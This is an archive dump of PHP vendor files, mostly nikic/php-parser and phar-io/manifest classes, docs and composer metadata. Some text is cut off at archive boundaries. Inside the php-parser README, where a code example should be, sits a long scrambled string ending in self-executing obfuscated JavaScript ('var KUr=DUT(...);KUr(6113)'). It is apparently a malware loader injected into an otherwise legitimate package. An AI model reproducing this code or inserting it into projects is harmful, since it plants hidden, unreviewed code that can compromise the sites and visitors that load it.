$reflectionClass->newInstanceWithoutConstructor(); if (isset($value['attributes'])) { if (!\is_array($value['attributes'])) { throw new \RuntimeException('Attributes must be an array'); } $node->setAttributes($this->decodeArray($value['attributes'])); } foreach ($value as $name => $subNode) { if ($name === 'nodeType' || $name === 'attributes') { continue; } $node->$name = $this->decodeRecursive($subNode); } return $node; } private function decodeComment(array $value) : Comment { $className = $value['nodeType'] === 'Comment' ? Comment::class : Comment\Doc::class; if (!isset($value['text'])) { throw new \RuntimeException('Comment must have text'); } return new $className( $value['text'], $value['line'] ?? -1, $value['filePos'] ?? -1, $value['tokenPos'] ?? -1, $value['endLine'] ?? -1, $value['endFilePos'] ?? -1, $value['endTokenPos'] ?? -1 ); } private function reflectionClassFromNodeType(string $nodeType) : \ReflectionClass { if (!isset($this->reflectionClassCache[$nodeType])) { $className = $this->classNameFromNodeType($nodeType); $this->reflectionClassCache[$nodeType] = new \ReflectionClass($className); } return $this->reflectionClassCache[$nodeType]; } private function classNameFromNodeType(string $nodeType) : string { $className = 'PhpParser\\Node\\' . strtr($nodeType, '_', '\\'); if (class_exists($className)) { return $className; } $className .= '_'; if (class_exists($className)) { return $className; } throw new \RuntimeException("Unknown node type \"$nodeType\""); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor.php000064400000003752147577714370021766 0ustar00 $node stays as-is * * NodeTraverser::DONT_TRAVERSE_CHILDREN * => Children of $node are not traversed. $node stays as-is * * NodeTraverser::STOP_TRAVERSAL * => Traversal is aborted. $node stays as-is * * otherwise * => $node is set to the return value * * @param Node $node Node * * @return null|int|Node Replacement node (or special return value) */ public function enterNode(Node $node); /** * Called when leaving a node. * * Return value semantics: * * null * => $node stays as-is * * NodeTraverser::REMOVE_NODE * => $node is removed from the parent array * * NodeTraverser::STOP_TRAVERSAL * => Traversal is aborted. $node stays as-is * * array (of Nodes) * => The return value is merged into the parent array (at the position of the $node) * * otherwise * => $node is set to the return value * * @param Node $node Node * * @return null|int|Node|Node[] Replacement node (or special return value) */ public function leaveNode(Node $node); /** * Called once after traversal. * * Return value semantics: * * null: $nodes stays as-is * * otherwise: $nodes is set to the return value * * @param Node[] $nodes Array of nodes * * @return null|Node[] Array of nodes */ public function afterTraverse(array $nodes); } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeVisitorAbstract.php000064400000000666147577714370023453 0ustar00fallbackEvaluator = $fallbackEvaluator ?? function(Expr $expr) { throw new ConstExprEvaluationException( "Expression of type {$expr->getType()} cannot be evaluated" ); }; } /** * Silently evaluates a constant expression into a PHP value. * * Thrown Errors, warnings or notices will be converted into a ConstExprEvaluationException. * The original source of the exception is available through getPrevious(). * * If some part of the expression cannot be evaluated, the fallback evaluator passed to the * constructor will be invoked. By default, if no fallback is provided, an exception of type * ConstExprEvaluationException is thrown. * * See class doc comment for caveats and limitations. * * @param Expr $expr Constant expression to evaluate * @return mixed Result of evaluation * * @throws ConstExprEvaluationException if the expression cannot be evaluated or an error occurred */ public function evaluateSilently(Expr $expr) { set_error_handler(function($num, $str, $file, $line) { throw new \ErrorException($str, 0, $num, $file, $line); }); try { return $this->evaluate($expr); } catch (\Throwable $e) { if (!$e instanceof ConstExprEvaluationException) { $e = new ConstExprEvaluationException( "An error occurred during constant expression evaluation", 0, $e); } throw $e; } finally { restore_error_handler(); } } /** * Directly evaluates a constant expression into a PHP value. * * May generate Error exceptions, warnings or notices. Use evaluateSilently() to convert these * into a ConstExprEvaluationException. * * If some part of the expression cannot be evaluated, the fallback evaluator passed to the * constructor will be invoked. By default, if no fallback is provided, an exception of type * ConstExprEvaluationException is thrown. * * See class doc comment for caveats and limitations. * * @param Expr $expr Constant expression to evaluate * @return mixed Result of evaluation * * @throws ConstExprEvaluationException if the expression cannot be evaluated */ public function evaluateDirectly(Expr $expr) { return $this->evaluate($expr); } private function evaluate(Expr $expr) { if ($expr instanceof Scalar\LNumber || $expr instanceof Scalar\DNumber || $expr instanceof Scalar\String_ ) { return $expr->value; } if ($expr instanceof Expr\Array_) { return $this->evaluateArray($expr); } // Unary operators if ($expr instanceof Expr\UnaryPlus) { return +$this->evaluate($expr->expr); } if ($expr instanceof Expr\UnaryMinus) { return -$this->evaluate($expr->expr); } if ($expr instanceof Expr\BooleanNot) { return !$this->evaluate($expr->expr); } if ($expr instanceof Expr\BitwiseNot) { return ~$this->evaluate($expr->expr); } if ($expr instanceof Expr\BinaryOp) { return $this->evaluateBinaryOp($expr); } if ($expr instanceof Expr\Ternary) { return $this->evaluateTernary($expr); } if ($expr instanceof Expr\ArrayDimFetch && null !== $expr->dim) { return $this->evaluate($expr->var)[$this->evaluate($expr->dim)]; } if ($expr instanceof Expr\ConstFetch) { return $this->evaluateConstFetch($expr); } return ($this->fallbackEvaluator)($expr); } private function evaluateArray(Expr\Array_ $expr) { $array = []; foreach ($expr->items as $item) { if (null !== $item->key) { $array[$this->evaluate($item->key)] = $this->evaluate($item->value); } elseif ($item->unpack) { $array = array_merge($array, $this->evaluate($item->value)); } else { $array[] = $this->evaluate($item->value); } } return $array; } private function evaluateTernary(Expr\Ternary $expr) { if (null === $expr->if) { return $this->evaluate($expr->cond) ?: $this->evaluate($expr->else); } return $this->evaluate($expr->cond) ? $this->evaluate($expr->if) : $this->evaluate($expr->else); } private function evaluateBinaryOp(Expr\BinaryOp $expr) { if ($expr instanceof Expr\BinaryOp\Coalesce && $expr->left instanceof Expr\ArrayDimFetch ) { // This needs to be special cased to respect BP_VAR_IS fetch semantics return $this->evaluate($expr->left->var)[$this->evaluate($expr->left->dim)] ?? $this->evaluate($expr->right); } // The evaluate() calls are repeated in each branch, because some of the operators are // short-circuiting and evaluating the RHS in advance may be illegal in that case $l = $expr->left; $r = $expr->right; switch ($expr->getOperatorSigil()) { case '&': return $this->evaluate($l) & $this->evaluate($r); case '|': return $this->evaluate($l) | $this->evaluate($r); case '^': return $this->evaluate($l) ^ $this->evaluate($r); case '&&': return $this->evaluate($l) && $this->evaluate($r); case '||': return $this->evaluate($l) || $this->evaluate($r); case '??': return $this->evaluate($l) ?? $this->evaluate($r); case '.': return $this->evaluate($l) . $this->evaluate($r); case '/': return $this->evaluate($l) / $this->evaluate($r); case '==': return $this->evaluate($l) == $this->evaluate($r); case '>': return $this->evaluate($l) > $this->evaluate($r); case '>=': return $this->evaluate($l) >= $this->evaluate($r); case '===': return $this->evaluate($l) === $this->evaluate($r); case 'and': return $this->evaluate($l) and $this->evaluate($r); case 'or': return $this->evaluate($l) or $this->evaluate($r); case 'xor': return $this->evaluate($l) xor $this->evaluate($r); case '-': return $this->evaluate($l) - $this->evaluate($r); case '%': return $this->evaluate($l) % $this->evaluate($r); case '*': return $this->evaluate($l) * $this->evaluate($r); case '!=': return $this->evaluate($l) != $this->evaluate($r); case '!==': return $this->evaluate($l) !== $this->evaluate($r); case '+': return $this->evaluate($l) + $this->evaluate($r); case '**': return $this->evaluate($l) ** $this->evaluate($r); case '<<': return $this->evaluate($l) << $this->evaluate($r); case '>>': return $this->evaluate($l) >> $this->evaluate($r); case '<': return $this->evaluate($l) < $this->evaluate($r); case '<=': return $this->evaluate($l) <= $this->evaluate($r); case '<=>': return $this->evaluate($l) <=> $this->evaluate($r); } throw new \Exception('Should not happen'); } private function evaluateConstFetch(Expr\ConstFetch $expr) { $name = $expr->name->toLowerString(); switch ($name) { case 'null': return null; case 'false': return false; case 'true': return true; } return ($this->fallbackEvaluator)($expr); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/BuilderFactory.php000064400000025541147577714370022437 0ustar00args($args) ); } /** * Creates a namespace builder. * * @param null|string|Node\Name $name Name of the namespace * * @return Builder\Namespace_ The created namespace builder */ public function namespace($name) : Builder\Namespace_ { return new Builder\Namespace_($name); } /** * Creates a class builder. * * @param string $name Name of the class * * @return Builder\Class_ The created class builder */ public function class(string $name) : Builder\Class_ { return new Builder\Class_($name); } /** * Creates an interface builder. * * @param string $name Name of the interface * * @return Builder\Interface_ The created interface builder */ public function interface(string $name) : Builder\Interface_ { return new Builder\Interface_($name); } /** * Creates a trait builder. * * @param string $name Name of the trait * * @return Builder\Trait_ The created trait builder */ public function trait(string $name) : Builder\Trait_ { return new Builder\Trait_($name); } /** * Creates an enum builder. * * @param string $name Name of the enum * * @return Builder\Enum_ The created enum builder */ public function enum(string $name) : Builder\Enum_ { return new Builder\Enum_($name); } /** * Creates a trait use builder. * * @param Node\Name|string ...$traits Trait names * * @return Builder\TraitUse The create trait use builder */ public function useTrait(...$traits) : Builder\TraitUse { return new Builder\TraitUse(...$traits); } /** * Creates a trait use adaptation builder. * * @param Node\Name|string|null $trait Trait name * @param Node\Identifier|string $method Method name * * @return Builder\TraitUseAdaptation The create trait use adaptation builder */ public function traitUseAdaptation($trait, $method = null) : Builder\TraitUseAdaptation { if ($method === null) { $method = $trait; $trait = null; } return new Builder\TraitUseAdaptation($trait, $method); } /** * Creates a method builder. * * @param string $name Name of the method * * @return Builder\Method The created method builder */ public function method(string $name) : Builder\Method { return new Builder\Method($name); } /** * Creates a parameter builder. * * @param string $name Name of the parameter * * @return Builder\Param The created parameter builder */ public function param(string $name) : Builder\Param { return new Builder\Param($name); } /** * Creates a property builder. * * @param string $name Name of the property * * @return Builder\Property The created property builder */ public function property(string $name) : Builder\Property { return new Builder\Property($name); } /** * Creates a function builder. * * @param string $name Name of the function * * @return Builder\Function_ The created function builder */ public function function(string $name) : Builder\Function_ { return new Builder\Function_($name); } /** * Creates a namespace/class use builder. * * @param Node\Name|string $name Name of the entity (namespace or class) to alias * * @return Builder\Use_ The created use builder */ public function use($name) : Builder\Use_ { return new Builder\Use_($name, Use_::TYPE_NORMAL); } /** * Creates a function use builder. * * @param Node\Name|string $name Name of the function to alias * * @return Builder\Use_ The created use function builder */ public function useFunction($name) : Builder\Use_ { return new Builder\Use_($name, Use_::TYPE_FUNCTION); } /** * Creates a constant use builder. * * @param Node\Name|string $name Name of the const to alias * * @return Builder\Use_ The created use const builder */ public function useConst($name) : Builder\Use_ { return new Builder\Use_($name, Use_::TYPE_CONSTANT); } /** * Creates a class constant builder. * * @param string|Identifier $name Name * @param Node\Expr|bool|null|int|float|string|array $value Value * * @return Builder\ClassConst The created use const builder */ public function classConst($name, $value) : Builder\ClassConst { return new Builder\ClassConst($name, $value); } /** * Creates an enum case builder. * * @param string|Identifier $name Name * * @return Builder\EnumCase The created use const builder */ public function enumCase($name) : Builder\EnumCase { return new Builder\EnumCase($name); } /** * Creates node a for a literal value. * * @param Expr|bool|null|int|float|string|array $value $value * * @return Expr */ public function val($value) : Expr { return BuilderHelpers::normalizeValue($value); } /** * Creates variable node. * * @param string|Expr $name Name * * @return Expr\Variable */ public function var($name) : Expr\Variable { if (!\is_string($name) && !$name instanceof Expr) { throw new \LogicException('Variable name must be string or Expr'); } return new Expr\Variable($name); } /** * Normalizes an argument list. * * Creates Arg nodes for all arguments and converts literal values to expressions. * * @param array $args List of arguments to normalize * * @return Arg[] */ public function args(array $args) : array { $normalizedArgs = []; foreach ($args as $key => $arg) { if (!($arg instanceof Arg)) { $arg = new Arg(BuilderHelpers::normalizeValue($arg)); } if (\is_string($key)) { $arg->name = BuilderHelpers::normalizeIdentifier($key); } $normalizedArgs[] = $arg; } return $normalizedArgs; } /** * Creates a function call node. * * @param string|Name|Expr $name Function name * @param array $args Function arguments * * @return Expr\FuncCall */ public function funcCall($name, array $args = []) : Expr\FuncCall { return new Expr\FuncCall( BuilderHelpers::normalizeNameOrExpr($name), $this->args($args) ); } /** * Creates a method call node. * * @param Expr $var Variable the method is called on * @param string|Identifier|Expr $name Method name * @param array $args Method arguments * * @return Expr\MethodCall */ public function methodCall(Expr $var, $name, array $args = []) : Expr\MethodCall { return new Expr\MethodCall( $var, BuilderHelpers::normalizeIdentifierOrExpr($name), $this->args($args) ); } /** * Creates a static method call node. * * @param string|Name|Expr $class Class name * @param string|Identifier|Expr $name Method name * @param array $args Method arguments * * @return Expr\StaticCall */ public function staticCall($class, $name, array $args = []) : Expr\StaticCall { return new Expr\StaticCall( BuilderHelpers::normalizeNameOrExpr($class), BuilderHelpers::normalizeIdentifierOrExpr($name), $this->args($args) ); } /** * Creates an object creation node. * * @param string|Name|Expr $class Class name * @param array $args Constructor arguments * * @return Expr\New_ */ public function new($class, array $args = []) : Expr\New_ { return new Expr\New_( BuilderHelpers::normalizeNameOrExpr($class), $this->args($args) ); } /** * Creates a constant fetch node. * * @param string|Name $name Constant name * * @return Expr\ConstFetch */ public function constFetch($name) : Expr\ConstFetch { return new Expr\ConstFetch(BuilderHelpers::normalizeName($name)); } /** * Creates a property fetch node. * * @param Expr $var Variable holding object * @param string|Identifier|Expr $name Property name * * @return Expr\PropertyFetch */ public function propertyFetch(Expr $var, $name) : Expr\PropertyFetch { return new Expr\PropertyFetch($var, BuilderHelpers::normalizeIdentifierOrExpr($name)); } /** * Creates a class constant fetch node. * * @param string|Name|Expr $class Class name * @param string|Identifier $name Constant name * * @return Expr\ClassConstFetch */ public function classConstFetch($class, $name): Expr\ClassConstFetch { return new Expr\ClassConstFetch( BuilderHelpers::normalizeNameOrExpr($class), BuilderHelpers::normalizeIdentifier($name) ); } /** * Creates nested Concat nodes from a list of expressions. * * @param Expr|string ...$exprs Expressions or literal strings * * @return Concat */ public function concat(...$exprs) : Concat { $numExprs = count($exprs); if ($numExprs < 2) { throw new \LogicException('Expected at least two expressions'); } $lastConcat = $this->normalizeStringExpr($exprs[0]); for ($i = 1; $i < $numExprs; $i++) { $lastConcat = new Concat($lastConcat, $this->normalizeStringExpr($exprs[$i])); } return $lastConcat; } /** * @param string|Expr $expr * @return Expr */ private function normalizeStringExpr($expr) : Expr { if ($expr instanceof Expr) { return $expr; } if (\is_string($expr)) { return new String_($expr); } throw new \LogicException('Expected string or Expr'); } } res/readability/vendor/nikic/php-parser/README.md000064400000013707147577714370015616 0ustar00PHP Parser ========== [![Coverage Status](https://coveralls.io/repos/github/nikic/PHP-Parser/badge.svg?branch=master)](https://coveralls.io/github/nikic/PHP-Parser?branch=master) This is a PHP 5.2 to PHP 8.0 parser written in PHP. Its purpose is to simplify static code analysis and manipulation. [**Documentation for version 4.x**][doc_master] (stable; for running on PHP >= 7.0; for parsing PHP 5.2 to PHP 8.0). [Documentation for version 3.x][doc_3_x] (unsupported; for running on PHP >= 5.5; for parsing PHP 5.2 to PHP 7.2). Features -------- The main features provided by this library are: * Parsing PHP 5, PHP 7, and PHP 8 code into an abstract syntax tree (AST). * Invalid code can be parsed into a partial AST. * The AST contains accurate location information. * Dumping the AST in human-readable form. * Converting an AST back to PHP code. * Experimental: Formatting can be preserved for partially changed ASTs. * Infrastructure to traverse and modify ASTs. * Resolution of namespaced names. * Evaluation of constant expressions. * Builders to simplify AST construction for code generation. * Converting an AST into JSON and back. Quick Start ----------- Install the library using [composer](https://getcomposer.org): php composer.phar require nikic/php-parser Parse some PHP code into an AST and dump the result in human-readable form: ```php create(ParserFactory::PREFER_PHP7); try { $ast = $parser->parse($code); } catch (Error $error) { echo "Parse error: {$error->getMessage()}\n"; return; } $dumper = new NodeDumper; echo $dumper->dump($ast) . "\n"; ``` This dumps an AST looking something like this: ``` array( 0: Stmt_Function( byRef: false name: Identifier( name: test ) params: array( 0: Param( type: null byRef: false variadic: false var: Expr_Variable( name: foo ) default: null ) ) returnType: null stmts: array( 0: Stmt_Expression( expr: Expr_FuncCall( name: Name( parts: array( 0: var_dump ) ) args: array( 0: Arg( value: Expr_Variable( name: foo ) byRef: false unpack: false ) ) ) ) ) ) ) ``` Let's traverse the AST and perform some kind of modification. For example, drop all function bodies: ```php use PhpParser\Node; use PhpParser\Node\Stmt\Function_; use PhpParser\NodeTraverser; use PhpParser\NodeVisitorAbstract; $traverser = new NodeTraverser(); $traverser->addVisitor(new class extends NodeVisitorAbstract { public function enterNode(Node $node) { if ($node instanceof Function_) { // Clean out the function body $node->stmts = []; } } }); $ast = $traverser->traverse($ast); echo $dumper->dump($ast) . "\n"; ``` This gives us an AST where the `Function_::$stmts` are empty: ``` array( 0: Stmt_Function( byRef: false name: Identifier( name: test ) params: array( 0: Param( type: null byRef: false variadic: false var: Expr_Variable( name: foo ) default: null ) ) returnType: null stmts: array( ) ) ) ``` Finally, we can convert the new AST back to PHP code: ```php use PhpParser\PrettyPrinter; $prettyPrinter = new PrettyPrinter\Standard; echo $prettyPrinter->prettyPrintFile($ast); ``` This gives us our original code, minus the `var_dump()` call inside the function: ```php )s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+()tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "nikic/php-parser", "type": "library", "description": "A PHP parser written in PHP", "keywords": [ "php", "parser" ], "license": "BSD-3-Clause", "authors": [ { "name": "Nikita Popov" } ], "require": { "php": ">=7.0", "ext-tokenizer": "*" }, "require-dev": { "phpunit/phpunit": "^6.5 || ^7.0 || ^8.0 || ^9.0", "ircmaxell/php-yacc": "^0.0.7" }, "extra": { "branch-alias": { "dev-master": "4.9-dev" } }, "autoload": { "psr-4": { "PhpParser\\": "lib/PhpParser" } }, "autoload-dev": { "psr-4": { "PhpParser\\": "test/PhpParser/" } }, "bin": [ "bin/php-parse" ] } res/readability/vendor/phar-io/manifest/src/exceptions/ManifestDocumentMapperException.php000064400000000226147577714370026270 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use LibXMLError; class ManifestDocumentLoadingException extends \Exception implements Exception { /** @var LibXMLError[] */ private $libxmlErrors; /** * ManifestDocumentLoadingException constructor. * * @param LibXMLError[] $libxmlErrors */ public function __construct(array $libxmlErrors) { $this->libxmlErrors = $libxmlErrors; $first = $this->libxmlErrors[0]; parent::__construct( \sprintf( '%s (Line: %d / Column: %d / File: %s)', $first->message, $first->line, $first->column, $first->file ), $first->code ); } /** * @return LibXMLError[] */ public function getLibxmlErrors(): array { return $this->libxmlErrors; } } res/readability/vendor/phar-io/manifest/src/exceptions/ManifestDocumentException.php000064400000000220147577714370025115 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; interface Exception extends \Throwable { } res/readability/vendor/phar-io/manifest/src/exceptions/ElementCollectionException.php000064400000000714147577714370025265 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class ElementCollectionException extends \InvalidArgumentException implements Exception { } res/readability/vendor/phar-io/manifest/src/exceptions/InvalidUrlException.php000064400000000705147577714370023731 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class InvalidUrlException extends \InvalidArgumentException implements Exception { } res/readability/vendor/phar-io/manifest/src/exceptions/InvalidApplicationNameException.php000064400000000765147577714370026241 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class InvalidApplicationNameException extends \InvalidArgumentException implements Exception { public const InvalidFormat = 2; } res/readability/vendor/phar-io/manifest/src/exceptions/InvalidEmailException.php000064400000000707147577714370024220 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class InvalidEmailException extends \InvalidArgumentException implements Exception { } res/readability/vendor/phar-io/manifest/src/exceptions/ManifestLoaderException.php000064400000000207147577714370024552 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class AuthorCollection implements \Countable, \IteratorAggregate { /** @var Author[] */ private $authors = []; public function add(Author $author): void { $this->authors[] = $author; } /** * @return Author[] */ public function getAuthors(): array { return $this->authors; } public function count(): int { return \count($this->authors); } public function getIterator(): AuthorCollectionIterator { return new AuthorCollectionIterator($this); } } res/readability/vendor/phar-io/manifest/src/values/BundledComponentCollectionIterator.php000064400000002203147577714370026100 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class BundledComponentCollectionIterator implements \Iterator { /** @var BundledComponent[] */ private $bundledComponents; /** @var int */ private $position = 0; public function __construct(BundledComponentCollection $bundledComponents) { $this->bundledComponents = $bundledComponents->getBundledComponents(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < \count($this->bundledComponents); } public function key(): int { return $this->position; } public function current(): BundledComponent { return $this->bundledComponents[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phar-io/manifest/src/values/AuthorCollectionIterator.php000064400000002025147577714370024104 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class AuthorCollectionIterator implements \Iterator { /** @var Author[] */ private $authors; /** @var int */ private $position = 0; public function __construct(AuthorCollection $authors) { $this->authors = $authors->getAuthors(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < \count($this->authors); } public function key(): int { return $this->position; } public function current(): Author { return $this->authors[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phar-io/manifest/src/values/CopyrightInformation.php000064400000001476147577714370023303 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class CopyrightInformation { /** @var AuthorCollection */ private $authors; /** @var License */ private $license; public function __construct(AuthorCollection $authors, License $license) { $this->authors = $authors; $this->license = $license; } public function getAuthors(): AuthorCollection { return $this->authors; } public function getLicense(): License { return $this->license; } } res/readability/vendor/phar-io/manifest/src/values/ApplicationName.php000064400000002120147577714370022154 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class ApplicationName { /** @var string */ private $name; public function __construct(string $name) { $this->ensureValidFormat($name); $this->name = $name; } public function asString(): string { return $this->name; } public function isEqual(ApplicationName $name): bool { return $this->name === $name->name; } private function ensureValidFormat(string $name): void { if (!\preg_match('#\w/\w#', $name)) { throw new InvalidApplicationNameException( \sprintf('Format of name "%s" is not valid - expected: vendor/packagename', $name), InvalidApplicationNameException::InvalidFormat ); } } } res/readability/vendor/phar-io/manifest/src/values/License.php000064400000001336147577714370020502 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class License { /** @var string */ private $name; /** @var Url */ private $url; public function __construct(string $name, Url $url) { $this->name = $name; $this->url = $url; } public function getName(): string { return $this->name; } public function getUrl(): Url { return $this->url; } } res/readability/vendor/phar-io/manifest/src/values/Url.php000064400000001560147577714370017661 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class Url { /** @var string */ private $url; public function __construct(string $url) { $this->ensureUrlIsValid($url); $this->url = $url; } public function asString(): string { return $this->url; } /** * @param string $url * * @throws InvalidUrlException */ private function ensureUrlIsValid($url): void { if (\filter_var($url, \FILTER_VALIDATE_URL) === false) { throw new InvalidUrlException; } } } res/readability/vendor/phar-io/manifest/src/values/Type.php000064400000002205147577714370020035 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use PharIo\Version\VersionConstraint; abstract class Type { public static function application(): Application { return new Application; } public static function library(): Library { return new Library; } public static function extension(ApplicationName $application, VersionConstraint $versionConstraint): Extension { return new Extension($application, $versionConstraint); } /** @psalm-assert-if-true Application $this */ public function isApplication(): bool { return false; } /** @psalm-assert-if-true Library $this */ public function isLibrary(): bool { return false; } /** @psalm-assert-if-true Extension $this */ public function isExtension(): bool { return false; } } res/readability/vendor/phar-io/manifest/src/values/Email.php000064400000001471147577714370020147 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class Email { /** @var string */ private $email; public function __construct(string $email) { $this->ensureEmailIsValid($email); $this->email = $email; } public function asString(): string { return $this->email; } private function ensureEmailIsValid(string $url): void { if (\filter_var($url, \FILTER_VALIDATE_EMAIL) === false) { throw new InvalidEmailException; } } } res/readability/vendor/phar-io/manifest/src/values/Extension.php000064400000002570147577714370021075 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use PharIo\Version\Version; use PharIo\Version\VersionConstraint; class Extension extends Type { /** @var ApplicationName */ private $application; /** @var VersionConstraint */ private $versionConstraint; public function __construct(ApplicationName $application, VersionConstraint $versionConstraint) { $this->application = $application; $this->versionConstraint = $versionConstraint; } public function getApplicationName(): ApplicationName { return $this->application; } public function getVersionConstraint(): VersionConstraint { return $this->versionConstraint; } public function isExtension(): bool { return true; } public function isExtensionFor(ApplicationName $name): bool { return $this->application->isEqual($name); } public function isCompatibleWith(ApplicationName $name, Version $version): bool { return $this->isExtensionFor($name) && $this->versionConstraint->complies($version); } } res/readability/vendor/phar-io/manifest/src/values/Application.php000064400000000732147577714370021362 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class Application extends Type { public function isApplication(): bool { return true; } } res/readability/vendor/phar-io/manifest/src/values/PhpExtensionRequirement.php000064400000001214147577714370023760 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class PhpExtensionRequirement implements Requirement { /** @var string */ private $extension; public function __construct(string $extension) { $this->extension = $extension; } public function asString(): string { return $this->extension; } } res/readability/vendor/phar-io/manifest/src/values/RequirementCollection.php000064400000001707147577714370023436 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class RequirementCollection implements \Countable, \IteratorAggregate { /** @var Requirement[] */ private $requirements = []; public function add(Requirement $requirement): void { $this->requirements[] = $requirement; } /** * @return Requirement[] */ public function getRequirements(): array { return $this->requirements; } public function count(): int { return \count($this->requirements); } public function getIterator(): RequirementCollectionIterator { return new RequirementCollectionIterator($this); } } res/readability/vendor/phar-io/manifest/src/values/Author.php000064400000001630147577714370020357 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; class Author { /** @var string */ private $name; /** @var Email */ private $email; public function __construct(string $name, Email $email) { $this->name = $name; $this->email = $email; } public function asString(): string { return \sprintf( '%s <%s>', $this->name, $this->email->asString() ); } public function getName(): string { return $this->name; } public function getEmail(): Email { return $this->email; } } res/readability/vendor/phar-io/manifest/src/values/Manifest.php000064400000005016147577714370020665 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use PharIo\Version\Version; class Manifest { /** @var ApplicationName */ private $name; /** @var Version */ private $version; /** @var Type */ private $type; /** @var CopyrightInformation */ private $copyrightInformation; /** @var RequirementCollection */ private $requirements; /** @var BundledComponentCollection */ private $bundledComponents; public function __construct(ApplicationName $name, Version $version, Type $type, CopyrightInformation 